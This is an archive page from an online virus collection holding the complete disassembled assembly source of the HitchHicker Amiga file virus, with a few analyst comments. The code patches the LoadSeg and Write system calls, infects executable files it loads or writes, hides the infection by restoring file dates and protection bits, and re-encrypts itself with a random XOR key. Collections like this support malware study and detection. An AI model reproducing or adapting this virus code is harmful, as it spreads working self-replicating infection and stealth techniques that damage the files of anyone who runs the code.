home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
h
/
HitchHicker
/
cls.infected..decoded.asm
< prev
next >
Wrap
Assembly Source File
|
2006-01-24
|
21KB
|
767 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $DFF007
SECTION S_0,CODE
SECSTRT_0:
BSR LAB_0005 ;000: 6100004A
LEA LAB_0003(PC),A1 ;004: 43FA0034
MOVE.L #$0000001F,D0 ;008: 203C0000001F
JSR -552(A6) ;00E: 4EAEFDD8
MOVEA.L D0,A6 ;012: 2C40
BEQ.S LAB_0002 ;014: 6720
JSR -60(A6) ;016: 4EAEFFC4
MOVE.L D0,D1 ;01A: 2200
LEA LAB_0004(PC),A0 ;01C: 41FA0028
MOVE.L A0,D2 ;020: 2408
MOVEQ #4,D3 ;022: 7604
JSR -48(A6) ;024: 4EAEFFD0
TST.L D0 ;028: 4A80
BMI.S LAB_0001 ;02A: 6B04
MOVEQ #0,D0 ;02C: 7000
LAB_0000:
BRA.S LAB_0006 ;02E: 602C
LAB_0001:
JSR -132(A6) ;030: 4EAEFF7C
BRA.S LAB_0000 ;034: 60F8
LAB_0002:
MOVEQ #20,D0 ;036: 7014
BRA.S LAB_0006 ;038: 6022
LAB_0003:
DC.W $646F ;03A
DC.W $732E ;03C
DC.W $6C69 ;03E
BHI.S LAB_000E ;040: 6272
BSR.S LAB_000E+2 ;042: 6172
DC.W $7900 ;044
LAB_0004:
SUBX -(A0),-(A5) ;046: 9B48
SUBX -(A2),-(A5) ;048: 9B4A
DC.W $0000 ;04A
LAB_0005:
MOVE.L (ABSEXECBASE).W,-(A7) ;04C: 2F380004
MOVEA.L (A7)+,A6 ;050: 2C5F
CMPI #$0025,20(A6) ;052: 0C6E00250014
BCC.S LAB_0006 ;058: 6402
RTS ;05A: 4E75
LAB_0006:
MOVEM.L D0-D7/A0-A6,-(A7) ;05C: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A1 ;060: 22780004
MOVEA.L A1,A6 ;064: 2C49
CMPI #$0025,20(A6) ;066: 0C6E00250014
BCS.S LAB_000C ;06C: 651A
LAB_0007:
MOVEQ #41,D0 ;06E: 7029
LAB_0009:
MOVE #$06F5,D1 ;070: 323C06F5
LAB_000A:
MOVEQ #1,D2 ;074: 7401
LEA LAB_000D(PC),A1 ;076: 43FA0016
LAB_000B:
EOR.B D0,(A1)+ ;07A: B119
SUB.B D2,D0 ;07C: 9002
DBF D1,LAB_000B ;07E: 51C9FFFA
JSR -636(A6) ;082: 4EAEFD84
BRA.S LAB_000D ;086: 6006
LAB_000C:
MOVEM.L (A7)+,D0-D7/A0-A6 ;088: 4CDF7FFF
RTS ;08C: 4E75
LAB_000D:
CMPI.L #$ABBAFAB4,514(A6) ;08E: 0CAEABBAFAB40202
BEQ.S LAB_0011 ;096: 673A
CMPI.L #$BADC0DED,514(A6) ;098: 0CAEBADC0DED0202
BEQ.S LAB_0011 ;0A0: 6730
MOVE.L #$00001388,D0 ;0A2: 203C00001388
MOVEQ #2,D1 ;0A8: 7202
JSR -198(A6) ;0AA: 4EAEFF3A AllocMem
TST.L D0 ;0AE: 4A80
BEQ.S LAB_0011 ;0B0: 6720
MOVEA.L D0,A2 ;0B2: 2440
LAB_000E:
LEA LAB_0005(PC),A1 ;0B4: 43FAFF96 Start of virus
MOVE #$01F4,D1 ;0B8: 323C01F4
LAB_0010:
MOVE.L (A1)+,(A2)+ ;0BC: 24D9
DBF D1,LAB_0010 ;0BE: 51C9FFFC
MOVEA.L D0,A0 ;0C2: 2040
LEA LAB_0012(PC),A1 ;0C4: 43FA0024
LEA LAB_0005(PC),A2 ;0C8: 45FAFF82
SUBA.L A2,A1 ;0CC: 93CA
ADDA.L A0,A1 ;0CE: D3C8
JSR (A1) ;0D0: 4E91
LAB_0011:
LEA LAB_0007(PC),A1 ;0D2: 43FAFF9A
MOVE.B #$00,1(A1) ;0D6: 137C00000001
MOVE #$0000,4(A1) ;0DC: 337C00000004
MOVE.B #$00,7(A1) ;0E2: 137C00000007
BRA.S LAB_000C ;0E8: 609E
LAB_0012:
LEA LAB_0063(PC),A4 ;0EA: 49FA0684
CLR.L (A4)+ ;0EE: 429C
CLR (A4) ;0F0: 4254
LEA LAB_0057(PC),A2 ;0F2: 45FA0620
BSR.S LAB_0015 ;0F6: 6128
BSR LAB_0052 ;0F8: 61000590
BSR.S LAB_0013 ;0FC: 6102
RTS ;0FE: 4E75
LAB_0013:
LEA LAB_0056(PC),A1 ;100: 43FA05E8
MOVEA.L (ABSEXECBASE).W,A6 ;104: 2C780004
MOVEA.L 378(A6),A0 ;108: 206E017A liblist
JSR -276(A6) ;10C: 4EAEFEEC findname
TST.L D0 ;110: 4A80
BEQ.S LAB_0014 ;112: 670A
LEA LAB_0058(PC),A1 ;114: 43FA0636
MOVE.L D0,(A1) ;118: 2280
MOVEA.L D0,A1 ;11A: 2240
BSR.S LAB_0018 ;11C: 611E
LAB_0014:
RTS ;11E: 4E75
LAB_0015:
MOVEQ #7,D0 ;120: 7007
LAB_0016:
CMPI.B #$39,0(A2,D0.L) ;122: 0C3200390800
BEQ.S LAB_0017 ;128: 6706
ADDQ.B #1,0(A2,D0.L) ;12A: 52320800
RTS ;12E: 4E75
LAB_0017:
MOVE.B #$30,0(A2,D0.L) ;130: 15BC00300800
DBF D0,LAB_0016 ;136: 51C8FFEA
RTS ;13A: 4E75
LAB_0018:
CMPI #$4EF9,-150(A1) ;13C: 0C694EF9FF6A
BNE.S LAB_0019 ;142: 6610
LEA LAB_003C(PC),A3 ;144: 47FA03F4
LEA LAB_0059(PC),A2 ;148: 45FA0606
MOVE.L -148(A1),(A2) ;14C: 24A9FF6C copy original loadseg to lab_0059
MOVE.L A3,-148(A1) ;150: 234BFF6C
LAB_0019:
CMPI #$4EF9,-48(A1) ;154: 0C694EF9FFD0
BNE.S LAB_001A ;15A: 6610
LEA LAB_003D(PC),A3 ;15C: 47FA03EA
LEA LAB_005A(PC),A2 ;160: 45FA05F2
MOVE.L -46(A1),(A2) ;164: 24A9FFD2 write() to lab_005a
MOVE.L A3,-46(A1) ;168: 234BFFD2
LAB_001A:
BSR.S LAB_001B ;16C: 610A
MOVE.L #$BADC0DED,514(A6) ;16E: 2D7CBADC0DED0202 lastalert
RTS ;176: 4E75
LAB_001B:
CLR.L D0 ;178: 4280
MOVEA.L A1,A0 ;17A: 2049
MOVE 16(A0),D0 ;17C: 30280010
LSR #1,D0 ;180: E248
MOVEQ #0,D1 ;182: 7200
BRA.S LAB_001D ;184: 6002
LAB_001C:
ADD -(A0),D1 ;186: D260
LAB_001D:
DBF D0,LAB_001C ;188: 51C8FFFC
MOVE D1,28(A1) ;18C: 3341001C
RTS ;190: 4E75
LAB_001E:
MOVEA.L LAB_0058(PC),A6 ;192: 2C7A05B8
MOVEA.L D1,A1 ;196: 2241
LEA LAB_005B(PC),A1 ;198: 43FA05BE
MOVE.L D1,(A1) ;19C: 2281
MOVEQ #-2,D2 ;19E: 74FE
JSR -84(A6) ;1A0: 4EAEFFAC Lock
TST.L D0 ;1A4: 4A80
BEQ LAB_0023 ;1A6: 6700012E
MOVE.L D0,D1 ;1AA: 2200
LEA LAB_005E(PC),A1 ;1AC: 43FA05B6
MOVE.L D1,(A1) ;1B0: 2281
MOVE.L LAB_005C(PC),D2 ;1B2: 243A05A8
JSR -114(A6) ;1B6: 4EAEFF8E info
TST.L D0 ;1BA: 4A80
BEQ LAB_0023 ;1BC: 67000118
MOVEA.L LAB_005C(PC),A1 ;1C0: 227A059A
CMPI.L #$00000052,8(A1) ;1C4: 0CA9000000520008
BNE LAB_0023 ;1CC: 66000108
MOVE.L 12(A1),D0 ;1D0: 2029000C
SUB.L 16(A1),D0 ;1D4: 90A90010
CMP.L #$0000000A,D0 ;1D8: B0BC0000000A
BCS LAB_0023 ;1DE: 650000F6
MOVE.L 12(A1),-(A7) ;1E2: 2F29000C
MOVE.L LAB_005E(PC),D1 ;1E6: 223A057C
MOVE.L A1,D2 ;1EA: 2409
JSR -102(A6) ;1EC: 4EAEFF9A Examine
MOVEA.L LAB_005C(PC),A1 ;1F0: 227A056A
MOVE.L (A7)+,D1 ;1F4: 221F
CMP.L #$00001F40,D1 ;1F6: B2BC00001F40
BCC.S LAB_001F ;1FC: 640E
CMPI.L #$00008000,124(A1) ;1FE: 0CA900008000007C
BCC LAB_0023 ;206: 640000CE
BRA.S LAB_0020 ;20A: 600C
LAB_001F:
CMPI.L #$00020000,124(A1) ;20C: 0CA900020000007C
BCC LAB_0023 ;214: 640000C0
LAB_0020:
LEA LAB_0061(PC),A2 ;218: 45FA0552
MOVE.L 124(A1),(A2) ;21C: 24A9007C
MOVE.L LAB_005E(PC),D1 ;220: 223A0542
JSR -90(A6) ;224: 4EAEFFA6 UnLock
MOVE.L LAB_005B(PC),D1 ;228: 223A052E
CLR.L D2 ;22C: 4282
JSR -186(A6) ;22E: 4EAEFF46 SetProtection
MOVEA.L (ABSEXECBASE).W,A6 ;232: 2C780004
MOVEQ #1,D1 ;236: 7201
MOVE.L LAB_0061(PC),D0 ;238: 203A0532
MOVE.L LAB_005D(PC),D2 ;23C: 243A0522 ;copied to here <------!!!!!!!!!!!!!!!!!!!!!!
ADD.L D2,D0 ;240: D082
JSR -198(A6) ;242: 4EAEFF3A
TST.L D0 ;246: 4A80
BEQ LAB_0023 ;248: 6700008C
LEA LAB_0060(PC),A1 ;24C: 43FA051A
MOVE.L D0,(A1) ;250: 2280
MOVE.L #$000003EC,D2 ;252: 243C000003EC
MOVE.L LAB_005B(PC),D1 ;258: 223A04FE
MOVEA.L LAB_0058(PC),A6 ;25C: 2C7A04EE
JSR -30(A6) ;260: 4EAEFFE2 Open
TST.L D0 ;264: 4A80
BEQ.S LAB_0022 ;266: 675E
LEA LAB_005E(PC),A1 ;268: 43FA04FA
MOVE.L D0,(A1) ;26C: 2280
MOVE.L D0,D1 ;26E: 2200
MOVE.L LAB_0060(PC),D2 ;270: 243A04F6
MOVE.L LAB_005D(PC),D4 ;274: 283A04EA
ADD.L D4,D2 ;278: D484
MOVE.L LAB_0061(PC),D3 ;27A: 263A04F0
JSR -42(A6) ;27E: 4EAEFFD6 Read
MOVE.L LAB_005E(PC),D1 ;282: 223A04E0
MOVEQ #0,D2 ;286: 7400
MOVEQ #-1,D3 ;288: 76FF
JSR -66(A6) ;28A: 4EAEFFBE Seek
BSR.S LAB_0025 ;28E: 6152
BNE.S LAB_0021 ;290: 6616
MOVE.L LAB_005E(PC),D1 ;292: 223A04D0
MOVE.L LAB_0060(PC),D2 ;296: 243A04D0
MOVE.L LAB_0061(PC),D3 ;29A: 263A04D0
MOVE.L LAB_005D(PC),D4 ;29E: 283A04C0
ADD.L D4,D3 ;2A2: D684
BSR LAB_003B ;2A4: 6100028E
LAB_0021:
MOVE.L LAB_005E(PC),D1 ;2A8: 223A04BA
JSR -36(A6) ;2AC: 4EAEFFDC Close
BSR.S LAB_0024 ;2B0: 6126
MOVE.L 116(A1),D2 ;2B2: 24290074
JSR -186(A6) ;2B6: 4EAEFF46 SetProtection
BSR.S LAB_0024 ;2BA: 611C
LEA 132(A1),A1 ;2BC: 43E90084
MOVE.L A1,D2 ;2C0: 2409
JSR -396(A6) ;2C2: 4EAEFE74 SetFileDate
LAB_0022:
MOVEA.L (ABSEXECBASE).W,A6 ;2C6: 2C780004
MOVE.L LAB_0061(PC),D0 ;2CA: 203A04A0
MOVEA.L LAB_0060(PC),A1 ;2CE: 227A0498
JSR -210(A6) ;2D2: 4EAEFF2E
LAB_0023:
RTS ;2D6: 4E75
LAB_0024:
MOVEA.L LAB_005C(PC),A1 ;2D8: 227A0482
MOVE.L LAB_005B(PC),D1 ;2DC: 223A047A
RTS ;2E0: 4E75
LAB_0025:
MOVEA.L LAB_0060(PC),A1 ;2E2: 227A0484
MOVEA.L A1,A2 ;2E6: 2449
MOVE.L LAB_005D(PC),D1 ;2E8: 223A0476
ADDA.L D1,A2 ;2EC: D5C1
MOVE.L 8(A2),D1 ;2EE: 222A0008
ADDQ.L #1,D1 ;2F2: 5281
MOVEQ #4,D2 ;2F4: 7404
LAB_0026:
MOVE.L (A2)+,(A1)+ ;2F6: 22DA
DBF D2,LAB_0026 ;2F8: 51CAFFFC
LAB_0027:
MOVE.L (A2)+,(A1)+ ;2FC: 22DA
DBF D1,LAB_0027 ;2FE: 51C9FFFC
CMPI.L #$000003E9,-8(A1) ;302: 0CA9000003E9FFF8
BEQ.S LAB_0028 ;30A: 6704
MOVEQ #-1,D0 ;30C: 70FF
RTS ;30E: 4E75
LAB_0028:
MOVE.L -4(A1),D1 ;310: 2229FFFC
MOVE.L A1,D6 ;314: 2C09
MOVE.L D1,D3 ;316: 2601
SUBQ.L #1,D1 ;318: 5381
LAB_0029:
MOVE.L (A2)+,(A1)+ ;31A: 22DA
DBF D1,LAB_0029 ;31C: 51C9FFFC
MOVE.L LAB_005D(PC),D1 ;320: 223A043E
LSR #2,D1 ;324: E449
MOVE.L D1,D2 ;326: 2401
SUBQ.L #1,D1 ;328: 5381
LEA LAB_0069(PC),A3 ;32A: 47FA0458
MOVE.L A1,D4 ;32E: 2809
LAB_002A:
MOVE.L (A3)+,(A1)+ ;330: 22DB
DBF D1,LAB_002A ;332: 51C9FFFC
MOVEA.L D6,A1 ;336: 2246
MOVEA.L LAB_0060(PC),A2 ;338: 247A042E
LEA 20(A2),A2 ;33C: 45EA0014
BSR LAB_004C ;340: 6100030C
MOVEA.L A1,A4 ;344: 2849
MOVE.L D4,D7 ;346: 2E04
ASL.L #1,D3 ;348: E383
BRA LAB_0043 ;34A: 60000280
LAB_002B:
MOVEM.L D1-D7/A0-A6,-(A7) ;34E: 48E77FFE
LEA LAB_005E(PC),A3 ;352: 47FA0410
MOVE.L D1,(A3) ;356: 2681
MOVE.L D3,8(A3) ;358: 27430008
MOVEA.L D2,A1 ;35C: 2242
MOVEA.L A1,A2 ;35E: 2449
MOVE.L LAB_0063(PC),D4 ;360: 283A040E
BNE LAB_0036 ;364: 66000114
CMPI.L #$000003F3,(A1) ;368: 0C91000003F3
BNE.S LAB_002D ;36E: 6666
MOVE.L 8(A1),D4 ;370: 28290008
MOVE.L D4,D5 ;374: 2A04
ADDQ.L #5,D4 ;376: 5A84
ADDQ.L #7,D5 ;378: 5E85
ASL.L #2,D5 ;37A: E585
LEA LAB_0068(PC),A3 ;37C: 47FA0402
MOVE.L D5,(A3) ;380: 2685
ASL.L #2,D4 ;382: E584
ADDA.L D4,A1 ;384: D3C4
CMPI.L #$000003E9,(A1) ;386: 0C91000003E9
BNE.S LAB_002D ;38C: 6648
MOVE.L 4(A1),D4 ;38E: 28290004
ASL.L #2,D4 ;392: E584
ADD.L D5,D4 ;394: D885
LEA LAB_0067(PC),A3 ;396: 47FA03E4
CLR.L (A3) ;39A: 4293
LEA LAB_0066(PC),A3 ;39C: 47FA03DA
MOVE.L D4,(A3) ;3A0: 2684
BSR.S LAB_0031 ;3A2: 617A
TST.L D0 ;3A4: 4A80
BEQ.S LAB_002D ;3A6: 672E
MOVE.L LAB_0060(PC),D2 ;3A8: 243A03BE
SUBA.L A2,A1 ;3AC: 93CA
MOVEA.L D2,A2 ;3AE: 2442
ADDA.L A2,A1 ;3B0: D3CA
CMP.L D4,D3 ;3B2: B684
BCS.S LAB_002F ;3B4: 6544
MOVE.L D4,D3 ;3B6: 2604
MOVEM.L D1-D7,-(A7) ;3B8: 48E77F00
BSR LAB_0041 ;3BC: 610001FC
BEQ.S LAB_002E ;3C0: 671C
MOVEM.L (A7)+,D1-D7 ;3C2: 4CDF00FE
LAB_002C:
MOVEM.L (A7)+,D1-D7/A0-A6 ;3C6: 4CDF7FFE
BSR LAB_003B ;3CA: 61000168
BSR LAB_0035 ;3CE: 61000094
MOVE.L D3,D0 ;3D2: 2003
RTS ;3D4: 4E75
LAB_002D:
MOVEM.L (A7)+,D1-D7/A0-A6 ;3D6: 4CDF7FFE
BRA LAB_003B ;3DA: 60000158
LAB_002E:
ADDQ.L #8,A1 ;3DE: 5089
LEA 20(A2),A2 ;3E0: 45EA0014
BSR LAB_004C ;3E4: 61000268
MOVEM.L (A7)+,D1-D7 ;3E8: 4CDF00FE
BSR LAB_003F ;3EC: 61000176
BSR.S LAB_0035 ;3F0: 6172
MOVEM.L (A7)+,D1-D7/A0-A6 ;3F2: 4CDF7FFE
MOVE.L D3,D0 ;3F6: 2003
RTS ;3F8: 4E75
LAB_002F:
CMP.L D3,D5 ;3FA: BA83
BCC.S LAB_002C ;3FC: 64C8
LSR.L #2,D5 ;3FE: E48D
SUBQ.L #1,D5 ;400: 5385
CMP.L #$0000012C,D5 ;402: BABC0000012C
BCC.S LAB_002C ;408: 64BC
LEA LAB_0063(PC),A3 ;40A: 47FA0364
MOVE.L D1,(A3) ;40E: 2681
MOVEA.L LAB_005C(PC),A3 ;410: 267A034A
MOVEA.L D2,A4 ;414: 2842
LAB_0030:
MOVE.L (A4)+,(A3)+ ;416: 26DC
DBF D5,LAB_0030 ;418: 51CDFFFC
BRA.S LAB_0038 ;41C: 607E
LAB_0031:
MOVEM.L D1-D7/A0-A6,-(A7) ;41E: 48E77FFE
MOVEA.L (ABSEXECBASE).W,A6 ;422: 2C780004
MOVE.L D3,D0 ;426: 2003
MOVEQ #1,D1 ;428: 7201
JSR -198(A6) ;42A: 4EAEFF3A
TST.L D0 ;42E: 4A80
BEQ.S LAB_0034 ;430: 672C
MOVEM.L (A7),D1-D7/A0-A6 ;432: 4CD77FFE
LEA LAB_0064+2(PC),A3 ;436: 47FA033E
CLR (A3) ;43A: 4253
MOVE.L LAB_0067(PC),D4 ;43C: 283A033E
LSR.L #1,D4 ;440: E28C
BCC.S LAB_0032 ;442: 6406
ADDQ #1,D0 ;444: 5240
MOVE #$FFFF,(A3) ;446: 36BCFFFF
LAB_0032:
LEA LAB_0060(PC),A3 ;44A: 47FA031C
MOVE.L D0,(A3)+ ;44E: 26C0
MOVE.L D3,(A3) ;450: 2683
MOVEA.L D0,A3 ;452: 2640
MOVEA.L D2,A4 ;454: 2842
SUBQ.L #1,D3 ;456: 5383
LAB_0033:
MOVE.B (A4)+,(A3)+ ;458: 16DC
DBF D3,LAB_0033 ;45A: 51CBFFFC
LAB_0034:
MOVEM.L (A7)+,D1-D7/A0-A6 ;45E: 4CDF7FFE
RTS ;462: 4E75
LAB_0035:
MOVE.L A6,-(A7) ;464: 2F0E
MOVEA.L (ABSEXECBASE).W,A6 ;466: 2C780004
MOVEA.L LAB_0060(PC),A1 ;46A: 227A02FC
MOVE.L LAB_0061(PC),D0 ;46E: 203A02FC
JSR -210(A6) ;472: 4EAEFF2E
MOVEA.L (A7)+,A6 ;476: 2C5F
RTS ;478: 4E75
LAB_0036:
CMP.L D1,D4 ;47A: B881
BNE LAB_002D ;47C: 6600FF58
BSR.S LAB_0031 ;480: 619C
TST.L D0 ;482: 4A80
BNE.S LAB_0038 ;484: 6616
MOVE LAB_0064(PC),D0 ;486: 303A02EC
BNE.S LAB_0037 ;48A: 660A
LEA LAB_0063(PC),A3 ;48C: 47FA02E2
CLR.L (A3) ;490: 4293
BRA LAB_002D ;492: 6000FF42
LAB_0037:
LEA LAB_0060(PC),A3 ;496: 47FA02D0
MOVE.L D2,(A3) ;49A: 2682
LAB_0038:
MOVE.L LAB_0060(PC),D2 ;49C: 243A02CA
LEA LAB_0067(PC),A3 ;4A0: 47FA02DA
MOVE.L (A3),D4 ;4A4: 2813
ADD.L D3,D4 ;4A6: D883
MOVE.L D4,(A3) ;4A8: 2684
MOVE.L LAB_0066(PC),D5 ;4AA: 2A3A02CC
CMP.L D5,D4 ;4AE: B885
BCS LAB_0040 ;4B0: 650000D0
LEA LAB_0063(PC),A3 ;4B4: 47FA02BA
CLR.L (A3) ;4B8: 4293
SUB.L D5,D4 ;4BA: 9885
SUB.L D4,D3 ;4BC: 9684
LEA LAB_0066(PC),A3 ;4BE: 47FA02B8
MOVE.L D3,(A3) ;4C2: 2683
MOVE.L D2,D7 ;4C4: 2E02
ADD.L D3,D7 ;4C6: DE83
MOVEA.L D2,A4 ;4C8: 2842
BSR LAB_0042 ;4CA: 610000FE
TST.L D0 ;4CE: 4A80
BEQ.S LAB_0039 ;4D0: 670A
MOVE LAB_0064(PC),D0 ;4D2: 303A02A0
BNE.S LAB_0039 ;4D6: 6604
BRA LAB_002C ;4D8: 6000FEEC
LAB_0039:
LEA LAB_0064(PC),A3 ;4DC: 47FA0296
CLR (A3) ;4E0: 4253
MOVE.L LAB_0066(PC),D3 ;4E2: 263A0294
BSR.S LAB_003F ;4E6: 617C
BSR.S LAB_003E ;4E8: 616C
MOVEA.L LAB_0058(PC),A6 ;4EA: 2C7A0260
CLR.L D2 ;4EE: 4282
MOVEQ #-1,D3 ;4F0: 76FF
JSR -66(A6) ;4F2: 4EAEFFBE
LEA LAB_0066(PC),A3 ;4F6: 47FA0280
MOVE.L D0,(A3) ;4FA: 2680
BSR.S LAB_003E ;4FC: 6158
MOVEA.L LAB_005C(PC),A2 ;4FE: 247A025C
MOVEA.L A2,A1 ;502: 224A
MOVE.L A2,D2 ;504: 240A
LEA 20(A2),A2 ;506: 45EA0014
MOVE.L LAB_0068(PC),D3 ;50A: 263A0274
ADDA.L D3,A1 ;50E: D3C3
BSR LAB_004C ;510: 6100013C
BSR.S LAB_003B ;514: 611E
BSR.S LAB_003E ;516: 613E
MOVE.L LAB_0066(PC),D2 ;518: 243A025E
MOVEQ #-1,D3 ;51C: 76FF
JSR -66(A6) ;51E: 4EAEFFBE
BSR LAB_0035 ;522: 6100FF40
MOVEM.L (A7)+,D1-D7/A0-A6 ;526: 4CDF7FFE
MOVE.L D3,D0 ;52A: 2003
RTS ;52C: 4E75
LAB_003A:
MOVE.L LAB_0059(PC),-(A7) ;52E: 2F3A0220
RTS ;532: 4E75
LAB_003B:
MOVE.L LAB_005A(PC),-(A7) ;534: 2F3A021E
RTS ;538: 4E75
LAB_003C:
MOVEM.L D0-D7/A0-A6,-(A7) ;53A: 48E7FFFE put in memory at LoadSeg
BSR LAB_001E ;53E: 6100FC52
MOVEM.L (A7)+,D0-D7/A0-A6 ;542: 4CDF7FFF
BRA.S LAB_003A ;546: 60E6
LAB_003D:
MOVEM.L D1-D7/A0-A6,-(A7) ;548: 48E77FFE
BSR LAB_002B ;54C: 6100FE00
MOVEM.L (A7)+,D1-D7/A0-A6 ;550: 4CDF7FFE
RTS ;554: 4E75
LAB_003E:
MOVE.L LAB_005E(PC),D1 ;556: 223A020C
MOVE.L LAB_0060(PC),D2 ;55A: 243A020C
MOVE.L LAB_0061(PC),D3 ;55E: 263A020C
RTS ;562: 4E75
LAB_003F:
BSR.S LAB_003B ;564: 61CE
BSR.S LAB_003E ;566: 61EE
LEA LAB_0069(PC),A3 ;568: 47FA021A
MOVE.L A3,D2 ;56C: 240B
MOVE.L LAB_005D(PC),D3 ;56E: 263A01F0
BSR.S LAB_003B ;572: 61C0
BSR.S LAB_003E ;574: 61E0
MOVE.L LAB_0066(PC),D4 ;576: 283A0200
ADD.L D4,D2 ;57A: D484
SUB.L D4,D3 ;57C: 9684
BSR.S LAB_003B ;57E: 61B4
RTS ;580: 4E75
LAB_0040:
MOVE.L D5,D7 ;582: 2E05
SUB.L D4,D7 ;584: 9E84
CMP.L #$00007FFF,D7 ;586: BEBC00007FFF
BCC LAB_002C ;58C: 6400FE38
MOVE.L D2,D7 ;590: 2E02
ADD.L D5,D7 ;592: DE85
ADD.L D3,D7 ;594: DE83
SUB.L D4,D7 ;596: 9E84
MOVEA.L D2,A4 ;598: 2842
BSR.S LAB_0042 ;59A: 612E
BNE LAB_002C ;59C: 6600FE28
LEA LAB_0064(PC),A3 ;5A0: 47FA01D2
MOVE #$FFFF,(A3) ;5A4: 36BCFFFF
MOVEM.L (A7)+,D1-D7/A0-A6 ;5A8: 4CDF7FFE
MOVE.L LAB_0060(PC),D2 ;5AC: 243A01BA
BSR.S LAB_003B ;5B0: 6182
BSR LAB_0035 ;5B2: 6100FEB0
MOVE.L D3,D0 ;5B6: 2003
RTS ;5B8: 4E75
LAB_0041:
MOVE.L LAB_0066(PC),D4 ;5BA: 283A01BC
LEA 8(A1),A4 ;5BE: 49E90008
MOVE.L A4,D7 ;5C2: 2E0C
SUB.L D5,D4 ;5C4: 9885
ADD.L D4,D7 ;5C6: DE84
MOVE.L D4,D3 ;5C8: 2604
LAB_0042:
LSR.L #1,D3 ;5CA: E28B
LAB_0043:
MOVEQ #-2,D0 ;5CC: 70FE
MOVE LAB_0064+2(PC),D5 ;5CE: 3A3A01A6
BEQ.S LAB_0044 ;5D2: 6702
ADDQ.L #1,A4 ;5D4: 528C
LAB_0044:
CMPI.L #$2C780004,(A4) ;5D6: 0C942C780004
BEQ.S LAB_0047 ;5DC: 672E
CMPI.L #$2C790000,(A4) ;5DE: 0C942C790000
BEQ.S LAB_0049 ;5E4: 6738
CMPI #$4E75,(A4) ;5E6: 0C544E75
BEQ.S LAB_0046 ;5EA: 670A
LAB_0045:
ADDQ.L #2,A4 ;5EC: 548C
DBF D3,LAB_0044 ;5EE: 51CBFFE6
TST.L D0 ;5F2: 4A80
RTS ;5F4: 4E75
LAB_0046:
BSR.S LAB_004A ;5F6: 6142
CMP.L #$0000006F,D5 ;5F8: BABC0000006F
BCC.S LAB_0045 ;5FE: 64EC
ADDI #$0010,D5 ;600: 06450010
MOVE.B #$60,(A4)+ ;604: 18FC0060
MOVE.B D5,(A4)+ ;608: 18C5
BRA.S LAB_0048 ;60A: 600C
LAB_0047:
BSR.S LAB_004A ;60C: 612C
CMP.L #$00007FFF,D5 ;60E: BABC00007FFF
BCC.S LAB_0045 ;614: 64D6
BSR.S LAB_004B ;616: 612E
LAB_0048:
CLR.L D0 ;618: 4280
SUBQ.L #1,D3 ;61A: 5383
BRA.S LAB_0045 ;61C: 60CE
LAB_0049:
CMPI #$0004,4(A4) ;61E: 0C6C00040004
BNE.S LAB_0045 ;624: 66C6
BSR.S LAB_004A ;626: 6112
CMP.L #$00007FFF,D5 ;628: BABC00007FFF
BCC.S LAB_0045 ;62E: 64BC
BSR.S LAB_004B ;630: 6114
MOVE #$4E71,2(A4) ;632: 397C4E710002
BRA.S LAB_0048 ;638: 60DE
LAB_004A:
LEA 2(A4),A3 ;63A: 47EC0002
MOVE.L A3,D6 ;63E: 2C0B
MOVE.L D7,D5 ;640: 2A07
SUB.L D6,D5 ;642: 9A86
RTS ;644: 4E75
LAB_004B:
MOVE #$6100,(A4)+ ;646: 38FC6100
MOVE D5,(A4) ;64A: 3885
RTS ;64C: 4E75
LAB_004C:
MOVE.L LAB_005D(PC),D7 ;64E: 2E3A0110
LSR.L #2,D7 ;652: E48F
MOVE.L -4(A1),D5 ;654: 2A29FFFC
LAB_004D:
MOVE.L (A2)+,D6 ;658: 2C1A
CMPA.L A1,A2 ;65A: B5C9
BEQ.S LAB_004F ;65C: 6710
ANDI.L #$1FFFFFFF,D6 ;65E: 02861FFFFFFF
CMP.L D5,D6 ;664: BC85
BEQ.S LAB_004E ;666: 6702
BRA.S LAB_004D ;668: 60EE
LAB_004E:
ADD.L D7,-4(A2) ;66A: DFAAFFFC
LAB_004F:
ADD.L D7,-4(A1) ;66E: DFA9FFFC
RTS ;672: 4E75
LAB_0050:
CLR.L D0 ;674: 4280
LAB_0051:
MOVE.B EXT_0001,D0 ;676: 103900DFF007
BEQ.S LAB_0051 ;67C: 67F8
MOVE.L D0,D5 ;67E: 2A00
ANDI.L #$0000000F,D0 ;680: 02800000000F
ASL.L #2,D0 ;686: E580
RTS ;688: 4E75
LAB_0052:
LEA LAB_0005(PC),A1 ;68A: 43FAF9C0
LEA LAB_0069(PC),A2 ;68E: 45FA00F4
LEA LAB_005D(PC),A3 ;692: 47FA00CC
LEA LAB_005C(PC),A4 ;696: 49FA00C4
LEA LAB_000D(PC),A5 ;69A: 4BFAF9F2
BSR.S LAB_0050 ;69E: 61D4
LEA LAB_0007+1(PC),A0 ;6A0: 41FAF9CD
MOVE.B D5,(A0) ;6A4: 1085
MOVE.L A2,D2 ;6A6: 240A
MOVE.L D2,D4 ;6A8: 2802
SUB.L A1,D2 ;6AA: 9489
MOVE.L D2,D3 ;6AC: 2602
ADD.L D3,D4 ;6AE: D883
MOVE.L D4,(A4) ;6B0: 2884
ADD.L D0,D3 ;6B2: D680
MOVE.L D3,(A3) ;6B4: 2683
SUBQ.L #1,D2 ;6B6: 5382
MOVE.L D2,D3 ;6B8: 2602
SUBA.L A1,A5 ;6BA: 9BC9
SUB.L A5,D3 ;6BC: 968D
ADDA.L A2,A5 ;6BE: DBCA
LEA LAB_0009+2(PC),A3 ;6C0: 47FAF9B0
MOVE D3,(A3) ;6C4: 3683
MOVE.L D5,D4 ;6C6: 2805
ANDI.L #$00000007,D4 ;6C8: 028400000007
LEA LAB_000A+1(PC),A0 ;6CE: 41FAF9A5
MOVE.B D4,(A0) ;6D2: 1084
LAB_0053:
MOVE.B (A1)+,(A2)+ ;6D4: 14D9
DBF D2,LAB_0053 ;6D6: 51CAFFFC
LAB_0054:
EOR.B D5,(A5)+ ;6DA: BB1D
SUB.B D4,D5 ;6DC: 9A04
DBF D3,LAB_0054 ;6DE: 51CBFFFA
LAB_0055:
CLR.B (A5)+ ;6E2: 421D
DBF D0,LAB_0055 ;6E4: 51C8FFFC
RTS ;6E8: 4E75
LAB_0056:
DC.W $646F ;6EA
DC.W $732E ;6EC
DC.W $6C69 ;6EE
BHI.S LAB_005E ;6F0: 6272
BSR.S LAB_005E+2 ;6F2: 6172
DC.W $7900 ;6F4
